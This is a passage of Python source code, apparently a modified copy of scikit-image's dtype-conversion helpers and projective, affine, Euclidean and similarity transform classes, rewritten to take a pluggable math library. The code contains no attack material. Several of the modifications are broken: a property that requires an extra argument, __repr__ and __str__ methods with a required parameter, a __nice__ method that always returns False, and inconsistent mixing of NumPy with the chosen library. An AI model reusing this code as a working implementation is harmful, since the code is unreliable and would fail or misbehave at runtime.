image.\n This is enabled by default, since higher order interpolation may\n produce values outside the given input range.\n\n \"\"\"\n if clip and order != 0:\n min_val = input_image.min()\n max_val = input_image.max()\n\n preserve_cval = (mode == 'constant' and not\n (min_val <= cval <= max_val))\n\n if preserve_cval:\n cval_mask = output_image == cval\n\n chosen_math_library.clip(output_image, min_val, max_val)#, out=output_image)\n\n if preserve_cval:\n output_image[cval_mask] = cval\n\n\ndef _validate_interpolation_order(image_dtype, order):\n \"\"\"Validate and return spline interpolation's order.\n\n Parameters\n ----------\n image_dtype : dtype\n Image dtype.\n order : int, optional\n The order of the spline interpolation. The order has to be in\n the range 0-5. See `skimage.transform.warp` for detail.\n\n Returns\n -------\n order : int\n if input order is None, returns 0 if image_dtype is bool and 1\n otherwise. Otherwise, image_dtype is checked and input order\n is validated accordingly (order > 0 is not supported for bool\n image dtype)\n\n \"\"\"\n\n if order is None:\n return 0 if image_dtype == bool else 1\n\n if order < 0 or order > 5:\n raise ValueError(\"Spline interpolation order has to be in the \"\n \"range 0-5.\")\n\n if image_dtype == bool and order != 0:\n print(\"Input image dtype is bool. Interpolation is not defined \"\n \"with bool data type. Please set order to 0 or explicitely \"\n \"cast input image to another data type. Starting from version \"\n \"0.19 a ValueError will be raised instead of this warning.\")\n\n return order\n\n\ndef _dtype_itemsize(itemsize, *dtypes):\n \"\"\"Return first of `dtypes` with itemsize greater than `itemsize`\n\n Parameters\n ----------\n itemsize: int\n The data type object element size.\n\n Other Parameters\n ----------------\n *dtypes:\n Any Object accepted by `np.dtype` to be converted to a data\n type object\n\n Returns\n -------\n dtype: data type object\n First of `dtypes` with itemsize greater than `itemsize`.\n\n \"\"\"\n return next(dt for dt in dtypes if np.dtype(dt).itemsize >= itemsize)\n\n\ndef _dtype_bits(kind, bits, itemsize=1):\n \"\"\"Return dtype of `kind` that can store a `bits` wide unsigned int\n\n Parameters:\n kind: str\n Data type kind.\n bits: int\n Desired number of bits.\n itemsize: int\n The data type object element size.\n\n Returns\n -------\n dtype: data type object\n Data type of `kind` that can store a `bits` wide unsigned int\n\n \"\"\"\n\n s = next(i for i in (itemsize, ) + (2, 4, 8) if\n bits < (i * 8) or (bits == (i * 8) and kind == 'u'))\n\n return np.dtype(kind + str(s))\n\n\ndef _scale(a, n, m, copy=True):\n \"\"\"Scale an array of unsigned/positive integers from `n` to `m` bits.\n\n Numbers can be represented exactly only if `m` is a multiple of `n`.\n\n Parameters\n ----------\n a : ndarray\n Input image array.\n n : int\n Number of bits currently used to encode the values in `a`.\n m : int\n Desired number of bits to encode the values in `out`.\n copy : bool, optional\n If True, allocates and returns new array. Otherwise, modifies\n `a` in place.\n\n Returns\n -------\n out : array\n Output image array. Has the same kind as `a`.\n \"\"\"\n kind = a.dtype.kind\n if n > m and a.max() < 2 ** m:\n mnew = int(np.ceil(m / 2) * 2)\n if mnew > m:\n dtype = \"int{}\".format(mnew)\n else:\n dtype = \"uint{}\".format(mnew)\n n = int(np.ceil(n / 2) * 2)\n print(\"Downcasting {} to {} without scaling because max \"\n \"value {} fits in {}\".format(a.dtype, dtype, a.max(), dtype))\n return a.astype(_dtype_bits(kind, m))\n elif n == m:\n return a.copy() if copy else a\n elif n > m:\n # downscale with precision loss\n if copy:\n b = np.empty(a.shape, _dtype_bits(kind, m))\n np.floor_divide(a, 2**(n - m), out=b, dtype=a.dtype,\n casting='unsafe')\n return b\n else:\n a //= 2**(n - m)\n return a\n elif m % n == 0:\n # exact upscale to a multiple of `n` bits\n if copy:\n b = np.empty(a.shape, _dtype_bits(kind, m))\n np.multiply(a, (2**m - 1) // (2**n - 1), out=b, dtype=b.dtype)\n return b\n else:\n a = a.astype(_dtype_bits(kind, m, a.dtype.itemsize), copy=False)\n a *= (2**m - 1) // (2**n - 1)\n return a\n else:\n # upscale to a multiple of `n` bits,\n # then downscale with precision loss\n o = (m // n + 1) * n\n if copy:\n b = np.empty(a.shape, _dtype_bits(kind, o))\n np.multiply(a, (2**o - 1) // (2**n - 1), out=b, dtype=b.dtype)\n b //= 2**(o - m)\n return b\n else:\n a = a.astype(_dtype_bits(kind, o, a.dtype.itemsize), copy=False)\n a *= (2**o - 1) // (2**n - 1)\n a //= 2**(o - m)\n return a\n\n\ndef _convert(image, dtype, force_copy=False, uniform=False, chosen_math_library=None):\n \"\"\"\n Convert an image to the requested data-type.\n\n Warnings are issued in case of precision loss, or when negative values\n are clipped during conversion to unsigned integer types (sign loss).\n\n Floating point values are expected to be normalized and will be clipped\n to the range [0.0, 1.0] or [-1.0, 1.0] when converting to unsigned or\n signed integers respectively.\n\n Numbers are not shifted to the negative side when converting from\n unsigned to signed integer types. Negative values will be clipped when\n converting to unsigned integers.\n\n Parameters\n ----------\n image : ndarray\n Input image.\n dtype : dtype\n Target data-type.\n force_copy : bool, optional\n Force a copy of the data, irrespective of its current dtype.\n uniform : bool, optional\n Uniformly quantize the floating point range to the integer range.\n By default (uniform=False) floating point values are scaled and\n rounded to the nearest integers, which minimizes back and forth\n conversion errors.\n\n .. versionchanged :: 0.15\n ``_convert`` no longer warns about possible precision or sign\n information loss. See discussions on these warnings at:\n https://github.com/scikit-image/scikit-image/issues/2602\n https://github.com/scikit-image/scikit-image/issues/543#issuecomment-208202228\n https://github.com/scikit-image/scikit-image/pull/3575\n\n References\n ----------\n .. [1] DirectX data conversion rules.\n https://msdn.microsoft.com/en-us/library/windows/desktop/dd607323%28v=vs.85%29.aspx\n .. [2] Data Conversions. In \"OpenGL ES 2.0 Specification v2.0.25\",\n pp 7-8. Khronos Group, 2010.\n .. [3] Proper treatment of pixels as integers. A.W. Paeth.\n In \"Graphics Gems I\", pp 249-256. Morgan Kaufmann, 1990.\n .. [4] Dirty Pixels. J. Blinn. In \"Jim Blinn's corner: Dirty Pixels\",\n pp 47-57. Morgan Kaufmann, 1998.\n\n \"\"\"\n image = chosen_math_library.asarray(image)\n dtypeobj_in = image.dtype\n dtypeobj_out = chosen_math_library.dtype(dtype)\n dtype_in = dtypeobj_in.type\n dtype_out = dtypeobj_out.type\n kind_in = dtypeobj_in.kind\n kind_out = dtypeobj_out.kind\n itemsize_in = dtypeobj_in.itemsize\n itemsize_out = dtypeobj_out.itemsize\n\n # Below, we do an `issubdtype` check. Its purpose is to find out\n # whether we can get away without doing any image conversion. This happens\n # when:\n #\n # - the output and input dtypes are the same or\n # - when the output is specified as a type, and the input dtype\n # is a subclass of that type (e.g. `np.floating` will allow\n # `float32` and `float64` arrays through)\n\n if chosen_math_library.issubdtype(dtype_in, chosen_math_library.obj2sctype(dtype)):\n if force_copy:\n image = image.copy()\n return image\n\n if not (dtype_in in _supported_types and dtype_out in _supported_types):\n raise ValueError(\"Can not convert from {} to {}.\"\n .format(dtypeobj_in, dtypeobj_out))\n\n if kind_in in 'ui':\n imin_in = chosen_math_library.iinfo(dtype_in).min\n imax_in = chosen_math_library.iinfo(dtype_in).max\n if kind_out in 'ui':\n imin_out = chosen_math_library.iinfo(dtype_out).min\n imax_out = chosen_math_library.iinfo(dtype_out).max\n\n # any -> binary\n if kind_out == 'b':\n return image > dtype_in(dtype_range[dtype_in][1] / 2)\n\n # binary -> any\n if kind_in == 'b':\n result = image.astype(dtype_out)\n if kind_out != 'f':\n result *= dtype_out(dtype_range[dtype_out][1])\n return result\n\n # float -> any\n if kind_in == 'f':\n if kind_out == 'f':\n # float -> float\n return image.astype(dtype_out)\n\n if np.min(image) < -1.0 or chosen_math_library.max(image) > 1.0:\n raise ValueError(\"Images of type float must be between -1 and 1.\")\n # floating point -> integer\n # use float type that can represent output integer type\n computation_type = _dtype_itemsize(itemsize_out, dtype_in,\n chosen_math_library.float32, chosen_math_library.float64)\n\n if not uniform:\n if kind_out == 'u':\n image_out = chosen_math_library.multiply(image, imax_out,\n dtype=computation_type)\n else:\n image_out = chosen_math_library.multiply(image, (imax_out - imin_out) / 2,\n dtype=computation_type)\n image_out -= 1.0 / 2.\n chosen_math_library.rint(image_out, out=image_out)\n chosen_math_library.clip(image_out, imin_out, imax_out, out=image_out)\n elif kind_out == 'u':\n image_out = chosen_math_library.multiply(image, imax_out + 1,\n dtype=computation_type)\n chosen_math_library.clip(image_out, 0, imax_out, out=image_out)\n else:\n image_out = chosen_math_library.multiply(image, (imax_out - imin_out + 1.0) / 2.0,\n dtype=computation_type)\n chosen_math_library.floor(image_out, out=image_out)\n chosen_math_library.clip(image_out, imin_out, imax_out, out=image_out)\n return image_out.astype(dtype_out)\n\n # signed/unsigned int -> float\n if kind_out == 'f':\n # use float type that can exactly represent input integers\n computation_type = _dtype_itemsize(itemsize_in, dtype_out,\n chosen_math_library.float32, chosen_math_library.float64)\n\n if kind_in == 'u':\n # using np.divide or np.multiply doesn't copy the data\n # until the computation time\n image = chosen_math_library.multiply(image, 1. / imax_in,\n dtype=computation_type)\n # DirectX uses this conversion also for signed ints\n # if imin_in:\n # np.maximum(image, -1.0, out=image)\n else:\n image = chosen_math_library.add(image, 0.5, dtype=computation_type)\n image *= 2 / (imax_in - imin_in)\n\n return chosen_math_library.asarray(image, dtype_out)\n\n # unsigned int -> signed/unsigned int\n if kind_in == 'u':\n if kind_out == 'i':\n # unsigned int -> signed int\n image = _scale(image, 8 * itemsize_in, 8 * itemsize_out - 1)\n return image.view(dtype_out)\n else:\n # unsigned int -> unsigned int\n return _scale(image, 8 * itemsize_in, 8 * itemsize_out)\n\n # signed int -> unsigned int\n if kind_out == 'u':\n image = _scale(image, 8 * itemsize_in - 1, 8 * itemsize_out)\n result = chosen_math_library.empty(image.shape, dtype_out)\n chosen_math_library.maximum(image, 0, out=result, dtype=image.dtype, casting='unsafe')\n return result\n\n # signed int -> signed int\n if itemsize_in > itemsize_out:\n return _scale(image, 8 * itemsize_in - 1, 8 * itemsize_out - 1)\n\n image = image.astype(_dtype_bits('i', itemsize_out * 8))\n image -= imin_in\n image = _scale(image, 8 * itemsize_in, 8 * itemsize_out, copy=False)\n image += imin_out\n return image.astype(dtype_out)\n\n\ndef img_as_float(image, force_copy=False, chosen_math_library=None):\n \"\"\"Convert an image to floating point format.\n\n This function is similar to `img_as_float64`, but will not convert\n lower-precision floating point arrays to `float64`.\n\n Parameters\n ----------\n image : ndarray\n Input image.\n force_copy : bool, optional\n Force a copy of the data, irrespective of its current dtype.\n\n Returns\n -------\n out : ndarray of float\n Output image.\n\n Notes\n -----\n The range of a floating point image is [0.0, 1.0] or [-1.0, 1.0] when\n converting from unsigned or signed datatypes, respectively.\n If the input image has a float type, intensity values are not modified\n and can be outside the ranges [0.0, 1.0] or [-1.0, 1.0].\n\n \"\"\"\n return _convert(image, np.floating, force_copy, chosen_math_library=chosen_math_library)\n\n\ndef convert_to_float(image, preserve_range, chosen_math_library):\n \"\"\"Convert input image to float image with the appropriate range.\n\n Parameters\n ----------\n image : ndarray\n Input image.\n preserve_range : bool\n Determines if the range of the image should be kept or transformed\n using img_as_float. Also see\n https://scikit-image.org/docs/dev/user_guide/data_types.html\n\n Notes:\n ------\n * Input images with `float32` data type are not upcast.\n\n Returns\n -------\n image : ndarray\n Transformed version of the input.\n\n \"\"\"\n if preserve_range:\n # Convert image to double only if it is not single or double\n # precision float\n if image.dtype.char not in 'df':\n image = image.astype(float)\n else:\n image = img_as_float(image, chosen_math_library=chosen_math_library)\n return image\n\n\nclass GeometricTransform(object):\n \"\"\"Base class for geometric transformations.\n\n \"\"\"\n def __call__(self, coords):\n \"\"\"Apply forward transformation.\n\n Parameters\n ----------\n coords : (N, 2) array\n Source coordinates.\n\n Returns\n -------\n coords : (N, 2) array\n Destination coordinates.\n\n \"\"\"\n raise NotImplementedError()\n\n def inverse(self, coords):\n \"\"\"Apply inverse transformation.\n\n Parameters\n ----------\n coords : (N, 2) array\n Destination coordinates.\n\n Returns\n -------\n coords : (N, 2) array\n Source coordinates.\n\n \"\"\"\n raise NotImplementedError()\n\n def residuals(self, src, dst, chosen_math_library):\n \"\"\"Determine residuals of transformed destination coordinates.\n\n For each transformed source coordinate the euclidean distance to the\n respective destination coordinate is determined.\n\n Parameters\n ----------\n src : (N, 2) array\n Source coordinates.\n dst : (N, 2) array\n Destination coordinates.\n\n Returns\n -------\n residuals : (N, ) array\n Residual for coordinate.\n\n \"\"\"\n return chosen_math_library.sqrt(chosen_math_library.sum((self(src) - dst)**2, axis=1))\n\n def __add__(self, other):\n \"\"\"Combine this transformation with another.\n\n \"\"\"\n raise NotImplementedError()\n\n\ndef _center_and_normalize_points(points, chosen_math_library):\n \"\"\"Center and normalize image points.\n\n The points are transformed in a two-step procedure that is expressed\n as a transformation matrix. The matrix of the resulting points is usually\n better conditioned than the matrix of the original points.\n\n Center the image points, such that the new coordinate system has its\n origin at the centroid of the image points.\n\n Normalize the image points, such that the mean distance from the points\n to the origin of the coordinate system is sqrt(2).\n\n Parameters\n ----------\n points : (N, 2) array\n The coordinates of the image points.\n\n Returns\n -------\n matrix : (3, 3) array\n The transformation matrix to obtain the new points.\n new_points : (N, 2) array\n The transformed image points.\n\n References\n ----------\n .. [1] Hartley, Richard I. \"In defense of the eight-point algorithm.\"\n Pattern Analysis and Machine Intelligence, IEEE Transactions on 19.6\n (1997): 580-593.\n\n \"\"\"\n\n centroid = chosen_math_library.mean(points, axis=0)\n\n rms = chosen_math_library.sqrt(chosen_math_library.sum((points - centroid) ** 2) / points.shape[0])\n\n norm_factor = chosen_math_library.sqrt(2) / rms\n\n matrix = chosen_math_library.array([[norm_factor, 0, -norm_factor * centroid[0]],\n [0, norm_factor, -norm_factor * centroid[1]],\n [0, 0, 1]], dtype=chosen_math_library.float64)\n\n pointsh = chosen_math_library.vstack([points.T, chosen_math_library.ones((points.shape[0]),)])\n\n new_pointsh = (matrix @ pointsh).T\n\n new_points = new_pointsh[:, :2]\n new_points[:, 0] /= new_pointsh[:, 2]\n new_points[:, 1] /= new_pointsh[:, 2]\n\n return matrix, new_points\n\n\ndef get_bound_method_class(m):\n \"\"\"Return the class for a bound method.\n\n \"\"\"\n return m.im_class if sys.version < '3' else m.__self__.__class__\n\n\nclass ProjectiveTransform(GeometricTransform):\n r\"\"\"Projective transformation.\n\n Apply a projective transformation (homography) on coordinates.\n\n For each homogeneous coordinate :math:`\\mathbf{x} = [x, y, 1]^T`, its\n target position is calculated by multiplying with the given matrix,\n :math:`H`, to give :math:`H \\mathbf{x}`::\n\n [[a0 a1 a2]\n [b0 b1 b2]\n [c0 c1 1 ]].\n\n E.g., to rotate by theta degrees clockwise, the matrix should be::\n\n [[cos(theta) -sin(theta) 0]\n [sin(theta) cos(theta) 0]\n [0 0 1]]\n\n or, to translate x by 10 and y by 20::\n\n [[1 0 10]\n [0 1 20]\n [0 0 1 ]].\n\n Parameters\n ----------\n matrix : (3, 3) array, optional\n Homogeneous transformation matrix.\n\n Attributes\n ----------\n params : (3, 3) array\n Homogeneous transformation matrix.\n\n \"\"\"\n\n _coeffs = range(8)\n\n def __init__(self, matrix=None, chosen_math_library=None):\n if matrix is None:\n # default to an identity transform\n matrix = chosen_math_library.eye(3)\n if matrix.shape != (3, 3):\n raise ValueError(\"invalid shape of transformation matrix\")\n self.params = matrix\n\n @property\n def _inv_matrix(self, chosen_math_library):\n return chosen_math_library.linalg.inv(self.params)\n\n def _apply_mat(self, coords, matrix, chosen_math_library):\n coords = chosen_math_library.array(coords, copy=False, ndmin=2)\n\n x, y = chosen_math_library.transpose(coords)\n src = chosen_math_library.vstack((x, y, chosen_math_library.ones_like(x)))\n dst = src.T @ matrix.T\n\n # below, we will divide by the last dimension of the homogeneous\n # coordinate matrix. In order to avoid division by zero,\n # we replace exact zeros in this column with a very small number.\n dst[dst[:, 2] == 0, 2] = chosen_math_library.finfo(float).eps\n # rescale to homogeneous coordinates\n dst[:, :2] /= dst[:, 2:3]\n\n return dst[:, :2]\n\n def __call__(self, coords, chosen_math_library):\n \"\"\"Apply forward transformation.\n\n Parameters\n ----------\n coords : (N, 2) array\n Source coordinates.\n\n Returns\n -------\n coords : (N, 2) array\n Destination coordinates.\n\n \"\"\"\n return self._apply_mat(coords, self.params, chosen_math_library)\n\n def inverse(self, coords, chosen_math_library):\n \"\"\"Apply inverse transformation.\n\n Parameters\n ----------\n coords : (N, 2) array\n Destination coordinates.\n\n Returns\n -------\n coords : (N, 2) array\n Source coordinates.\n\n \"\"\"\n return self._apply_mat(coords, self._inv_matrix, chosen_math_library)\n\n def estimate(self, src, dst, chosen_math_library):\n \"\"\"Estimate the transformation from a set of corresponding points.\n\n You can determine the over-, well- and under-determined parameters\n with the total least-squares method.\n\n Number of source and destination coordinates must match.\n\n The transformation is defined as::\n\n X = (a0*x + a1*y + a2) / (c0*x + c1*y + 1)\n Y = (b0*x + b1*y + b2) / (c0*x + c1*y + 1)\n\n These equations can be transformed to the following form::\n\n 0 = a0*x + a1*y + a2 - c0*x*X - c1*y*X - X\n 0 = b0*x + b1*y + b2 - c0*x*Y - c1*y*Y - Y\n\n which exist for each set of corresponding points, so we have a set of\n N * 2 equations. The coefficients appear linearly so we can write\n A x = 0, where::\n\n A = [[x y 1 0 0 0 -x*X -y*X -X]\n [0 0 0 x y 1 -x*Y -y*Y -Y]\n ...\n ...\n ]\n x.T = [a0 a1 a2 b0 b1 b2 c0 c1 c3]\n\n In case of total least-squares the solution of this homogeneous system\n of equations is the right singular vector of A which corresponds to the\n smallest singular value normed by the coefficient c3.\n\n In case of the affine transformation the coefficients c0 and c1 are 0.\n Thus the system of equations is::\n\n A = [[x y 1 0 0 0 -X]\n [0 0 0 x y 1 -Y]\n ...\n ...\n ]\n x.T = [a0 a1 a2 b0 b1 b2 c3]\n\n Parameters\n ----------\n src : (N, 2) array\n Source coordinates.\n dst : (N, 2) array\n Destination coordinates.\n\n Returns\n -------\n success : bool\n True, if model estimation succeeds.\n\n \"\"\"\n\n try:\n src_matrix, src = _center_and_normalize_points(src, chosen_math_library)\n dst_matrix, dst = _center_and_normalize_points(dst, chosen_math_library)\n except ZeroDivisionError:\n self.params = chosen_math_library.nan * chosen_math_library.empty((3, 3))\n return False\n\n xs = src[:, 0]\n ys = src[:, 1]\n xd = dst[:, 0]\n yd = dst[:, 1]\n rows = src.shape[0]\n\n # params: a0, a1, a2, b0, b1, b2, c0, c1\n A = chosen_math_library.zeros((rows * 2, 9))\n A[:rows, 0] = xs\n A[:rows, 1] = ys\n A[:rows, 2] = 1\n A[:rows, 6] = - xd * xs\n A[:rows, 7] = - xd * ys\n A[rows:, 3] = xs\n A[rows:, 4] = ys\n A[rows:, 5] = 1\n A[rows:, 6] = - yd * xs\n A[rows:, 7] = - yd * ys\n A[:rows, 8] = xd\n A[rows:, 8] = yd\n\n # Select relevant columns, depending on params\n A = A[:, list(self._coeffs) + [8]]\n\n _, _, V = chosen_math_library.linalg.svd(A)\n # if the last element of the vector corresponding to the smallest\n # singular value is close to zero, this implies a degenerate case\n # because it is a rank-defective transform, which would map points\n # to a line rather than a plane.\n if chosen_math_library.isclose(V[-1, -1], 0):\n return False\n\n H = chosen_math_library.zeros((3, 3))\n # solution is right singular vector that corresponds to smallest\n # singular value\n\n # My fix\n absolute_indexes = list(self._coeffs) + [8]\n to_be_set_to = - V[-1, :-1] / V[-1, -1]\n to_be_set_to = chosen_math_library.concatenate((to_be_set_to, to_be_set_to[:1]))\n original_shape = H.shape\n H_flat = chosen_math_library.ravel(H)\n H_flat[absolute_indexes] = to_be_set_to\n H = chosen_math_library.reshape(H_flat, original_shape)\n # My fix ends\n\n # H.flat[list(self._coeffs) + [8]] = - V[-1, :-1] / V[-1, -1]\n H[2, 2] = 1\n\n # De-center and de-normalize\n H = np.linalg.inv(dst_matrix) @ H @ src_matrix\n\n self.params = H\n\n return True\n\n def __add__(self, other):\n \"\"\"Combine this transformation with another.\n\n \"\"\"\n if isinstance(other, ProjectiveTransform):\n # combination of the same types result in a transformation of this\n # type again, otherwise use general projective transformation\n if type(self) == type(other):\n tform = self.__class__\n else:\n tform = ProjectiveTransform\n return tform(other.params @ self.params)\n elif (hasattr(other, '__name__')\n and other.__name__ == 'inverse'\n and hasattr(get_bound_method_class(other), '_inv_matrix')):\n return ProjectiveTransform(other.__self__._inv_matrix @ self.params)\n else:\n raise TypeError(\"Cannot combine transformations of differing \"\n \"types.\")\n\n def __nice__(self, chosen_math_library):\n \"\"\"common 'paramstr' used by __str__ and __repr__\"\"\"\n npstring = chosen_math_library.array2string(self.params, separator=', ')\n # paramstr = 'matrix=\\n' + textwrap.indent(npstring, ' ')\n # return paramstr\n return False\n\n def __repr__(self, chosen_math_library):\n \"\"\"Add standard repr formatting around a __nice__ string\"\"\"\n paramstr = self.__nice__(chosen_math_library)\n classname = self.__class__.__name__\n classstr = classname\n return '<{}({}) at {}>'.format(classstr, paramstr, hex(id(self)))\n\n def __str__(self, chosen_math_library):\n \"\"\"Add standard str formatting around a __nice__ string\"\"\"\n paramstr = self.__nice__(chosen_math_library)\n classname = self.__class__.__name__\n classstr = classname\n return '<{}({})>'.format(classstr, paramstr)\n\n\nclass AffineTransform(ProjectiveTransform):\n \"\"\"2D affine transformation.\n\n Has the following form::\n\n X = a0*x + a1*y + a2 =\n = sx*x*cos(rotation) - sy*y*sin(rotation + shear) + a2\n\n Y = b0*x + b1*y + b2 =\n = sx*x*sin(rotation) + sy*y*cos(rotation + shear) + b2\n\n where ``sx`` and ``sy`` are scale factors in the x and y directions,\n and the homogeneous transformation matrix is::\n\n [[a0 a1 a2]\n [b0 b1 b2]\n [0 0 1]]\n\n Parameters\n ----------\n matrix : (3, 3) array, optional\n Homogeneous transformation matrix.\n scale : {s as float or (sx, sy) as array, list or tuple}, optional\n Scale factor(s). If a single value, it will be assigned to both\n sx and sy.\n rotation : float, optional\n Rotation angle in counter-clockwise direction as radians.\n shear : float, optional\n Shear angle in counter-clockwise direction as radians.\n translation : (tx, ty) as array, list or tuple, optional\n Translation parameters.\n\n Attributes\n ----------\n params : (3, 3) array\n Homogeneous transformation matrix.\n\n \"\"\"\n\n _coeffs = range(6)\n\n def __init__(self, matrix=None, scale=None, rotation=None, shear=None,\n translation=None, chosen_math_library=None):\n params = any(param is not None\n for param in (scale, rotation, shear, translation))\n\n if params and matrix is not None:\n raise ValueError(\"You cannot specify the transformation matrix and\"\n \" the implicit parameters at the same time.\")\n elif matrix is not None:\n if matrix.shape != (3, 3):\n raise ValueError(\"Invalid shape of transformation matrix.\")\n self.params = matrix\n elif params:\n if scale is None:\n scale = (1, 1)\n if rotation is None:\n rotation = 0\n if shear is None:\n shear = 0\n if translation is None:\n translation = (0, 0)\n\n if chosen_math_library.isscalar(scale):\n sx = sy = scale\n else:\n sx, sy = scale\n\n self.params = chosen_math_library.array([\n [sx * math.cos(rotation), -sy * math.sin(rotation + shear), 0],\n [sx * math.sin(rotation), sy * math.cos(rotation + shear), 0],\n [ 0, 0, 1]\n ])\n self.params[0:2, 2] = translation\n else:\n # default to an identity transform\n self.params = chosen_math_library.eye(3)\n\n @property\n def scale(self):\n sx = math.sqrt(self.params[0, 0] ** 2 + self.params[1, 0] ** 2)\n sy = math.sqrt(self.params[0, 1] ** 2 + self.params[1, 1] ** 2)\n return sx, sy\n\n @property\n def rotation(self):\n return math.atan2(self.params[1, 0], self.params[0, 0])\n\n @property\n def shear(self):\n beta = math.atan2(- self.params[0, 1], self.params[1, 1])\n return beta - self.rotation\n\n @property\n def translation(self):\n return self.params[0:2, 2]\n\n\ndef _umeyama(src, dst, estimate_scale):\n \"\"\"Estimate N-D similarity transformation with or without scaling.\n\n Parameters\n ----------\n src : (M, N) array\n Source coordinates.\n dst : (M, N) array\n Destination coordinates.\n estimate_scale : bool\n Whether to estimate scaling factor.\n\n Returns\n -------\n T : (N + 1, N + 1)\n The homogeneous similarity transformation matrix. The matrix contains\n NaN values only if the problem is not well-conditioned.\n\n References\n ----------\n .. [1] \"Least-squares estimation of transformation parameters between two\n point patterns\", Shinji Umeyama, PAMI 1991, :DOI:`10.1109/34.88573`\n\n \"\"\"\n\n num = src.shape[0]\n dim = src.shape[1]\n\n # Compute mean of src and dst.\n src_mean = src.mean(axis=0)\n dst_mean = dst.mean(axis=0)\n\n # Subtract mean from src and dst.\n src_demean = src - src_mean\n dst_demean = dst - dst_mean\n\n # Eq. (38).\n A = dst_demean.T @ src_demean / num\n\n # Eq. (39).\n d = np.ones((dim,), dtype=np.double)\n if np.linalg.det(A) < 0:\n d[dim - 1] = -1\n\n T = np.eye(dim + 1, dtype=np.double)\n\n U, S, V = np.linalg.svd(A)\n\n # Eq. (40) and (43).\n rank = np.linalg.matrix_rank(A)\n if rank == 0:\n return np.nan * T\n elif rank == dim - 1:\n if np.linalg.det(U) * np.linalg.det(V) > 0:\n T[:dim, :dim] = U @ V\n else:\n s = d[dim - 1]\n d[dim - 1] = -1\n T[:dim, :dim] = U @ np.diag(d) @ V\n d[dim - 1] = s\n else:\n T[:dim, :dim] = U @ np.diag(d) @ V\n\n if estimate_scale:\n # Eq. (41) and (42).\n scale = 1.0 / src_demean.var(axis=0).sum() * (S @ d)\n else:\n scale = 1.0\n\n T[:dim, dim] = dst_mean - scale * (T[:dim, :dim] @ src_mean.T)\n T[:dim, :dim] *= scale\n\n return T\n\n\nclass EuclideanTransform(ProjectiveTransform):\n \"\"\"2D Euclidean transformation.\n\n Has the following form::\n\n X = a0 * x - b0 * y + a1 =\n = x * cos(rotation) - y * sin(rotation) + a1\n\n Y = b0 * x + a0 * y + b1 =\n = x * sin(rotation) + y * cos(rotation) + b1\n\n where the homogeneous transformation matrix is::\n\n [[a0 b0 a1]\n [b0 a0 b1]\n [0 0 1]]\n\n The Euclidean transformation is a rigid transformation with rotation and\n translation parameters. The similarity transformation extends the Euclidean\n transformation with a single scaling factor.\n\n Parameters\n ----------\n matrix : (3, 3) array, optional\n Homogeneous transformation matrix.\n rotation : float, optional\n Rotation angle in counter-clockwise direction as radians.\n translation : (tx, ty) as array, list or tuple, optional\n x, y translation parameters.\n\n Attributes\n ----------\n params : (3, 3) array\n Homogeneous transformation matrix.\n\n \"\"\"\n\n def __init__(self, matrix=None, rotation=None, translation=None):\n params = any(param is not None\n for param in (rotation, translation))\n\n if params and matrix is not None:\n raise ValueError(\"You cannot specify the transformation matrix and\"\n \" the implicit parameters at the same time.\")\n elif matrix is not None:\n if matrix.shape != (3, 3):\n raise ValueError(\"Invalid shape of transformation matrix.\")\n self.params = matrix\n elif params:\n if rotation is None:\n rotation = 0\n if translation is None:\n translation = (0, 0)\n\n self.params = np.array([\n [math.cos(rotation), - math.sin(rotation), 0],\n [math.sin(rotation), math.cos(rotation), 0],\n [ 0, 0, 1]\n ])\n self.params[0:2, 2] = translation\n else:\n # default to an identity transform\n self.params = np.eye(3)\n\n def estimate(self, src, dst):\n \"\"\"Estimate the transformation from a set of corresponding points.\n\n You can determine the over-, well- and under-determined parameters\n with the total least-squares method.\n\n Number of source and destination coordinates must match.\n\n Parameters\n ----------\n src : (N, 2) array\n Source coordinates.\n dst : (N, 2) array\n Destination coordinates.\n\n Returns\n -------\n success : bool\n True, if model estimation succeeds.\n\n \"\"\"\n\n self.params = _umeyama(src, dst, False)\n\n return True\n\n @property\n def rotation(self):\n return math.atan2(self.params[1, 0], self.params[1, 1])\n\n @property\n def translation(self):\n return self.params[0:2, 2]\n\n\nclass SimilarityTransform(EuclideanTransform):\n \"\"\"2D similarity transformation.\n\n Has the following form::\n\n X = a0 * x - b0 * y + a1 =\n = s * x * cos(rotation) - s * y * sin(rotation) + a1\n\n Y = b0 * x + a0 * y + b1 =\n = s * x * sin(rotation) + s * y * cos(rotation) + b1\n\n where ``s`` is a scale factor and the homogeneous transformation matrix is::\n\n [[a0 b0 a1]\n [b0 a0 b1]\n [0 0 1]]\n\n The similarity transformation extends the Euclidean transformation with a\n single scaling factor in addition to the rotation and translation\n parameters.\n\n Parameters\n ----------\n matrix : (3, 3) array, optional\n Homogeneous transformation matrix.\n scale : float, optional\n Scale factor.\n rotation : float, optional\n Rotation angle in counter-clockwise direction as radians.\n translation : (tx, ty) as array, list or tuple, optional\n x, y translation parameters.\n\n Attributes\n ----------\n params : (3, 3) array\n Homogeneous transformation matrix.\n\n \"\"\"\n\n def __init__(self, matrix=None, scale=None, rotation=None,\n translation=None):\n params = any(param is not None\n for param in (scale, rotation, translation))\n\n if params and matrix is not None:\n raise ValueError(\"You cannot specify the transformation matrix and\"\n \" the implicit parameters at the same time.\")\n elif matrix is not None:\n if matrix.shape != (3, 3):\n raise ValueError(\"Invalid shape of transformation matrix.\")\n self.params = matrix\n elif params:\n if scale is None:\n scale = 1\n if rotation is None:\n rotation = 0\n if translation is None:\n translation = (0, 0)\n\n self.params = np.array([\n [math.cos(rotation), - math.sin(rotation), 0],\n [math.sin(rotation), math.cos(rotation), 0],\n [ 0, 0, 1]\n ])\n self.params[0:2, 0:2] *= scale\n self.params[0:2, 2] = translation\n else:\n # default to an identity transform\n self.params = np.eye(3)\n\n def estimate(self, src, dst):\n \"\"\"Estimate the transformation from a set of corresponding points.\n\n You can determine the over-, well- and under-determined parameters\n with the total least-squares method.\n\n Number of source and destination coordinates must match.\n\n Parameters\n ----------\n src : (N, 2) array\n Source coordinates.\n dst : (N, 2) array\n Destination coordinates.\n\n Returns\n -------\n success : bool\n True, if model estimation succeeds.\n\n \"\"\"\n\n self.params = _umeyama(src, dst, True)\n\n return True\n\n @property\n def scale(self):\n # det = scale**(# of dimensions), therefore scale = det**(1/2)\n return np.sqrt(np.linalg.det(self.params))\n\n\nHOMOGRAPHY_TRANSFORMS = (\n SimilarityTransform,\n AffineTransform,\n ProjectiveTransform\n)\n\n\ndef safe_as_int(val, atol=1e-3):\n \"\"\"\n Attempt to safely cast values to integer format.\n\n Parameters\n ----------\n val : scalar or iterable of scalars\n Number or container of numbers which are intended to be interpreted as\n integers, e.g., for indexing purposes, but which 